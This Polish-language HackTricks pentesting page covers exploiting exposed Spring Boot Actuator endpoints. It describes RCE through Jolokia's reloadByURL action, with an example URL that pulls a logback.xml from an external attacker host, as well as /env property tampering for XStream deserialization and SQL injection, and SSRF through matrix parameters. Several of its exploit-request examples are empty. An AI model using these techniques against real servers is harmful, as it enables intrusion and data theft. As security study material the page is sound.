Spring Actuators
Last updated
Last updated
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Z https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Sprawdź oryginalny post z [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuators rejestrują punkty końcowe, takie jak /health
, /trace
, /beans
, /env
, itp. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko /health
i /info
są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie.
Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, i /heapdump
.
W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką /actuator/
.
Zdalne wykonanie kodu przez '/jolokia':
Punkt końcowy /jolokia
udostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.
Akcja reloadByURL
może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu przez skonstruowane konfiguracje XML.
Przykład URL exploita: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modyfikacja konfiguracji przez '/env':
Jeśli biblioteki Spring Cloud są obecne, punkt końcowy /env
pozwala na modyfikację właściwości środowiskowych.
Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
Przykład exploita POST:
Inne przydatne ustawienia:
Właściwości takie jak spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, i spring.datasource.tomcat.max-active
mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
Kompletna lista domyślnych actuatorów znajduje się tutaj.
Punkt końcowy /env
w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.
Env + H2 RCE:
Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego /env
i bazy danych H2 można znaleźć tutaj.
SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki:
Obsługa parametrów macierzowych (;
) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
Przykład żądania exploita:
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)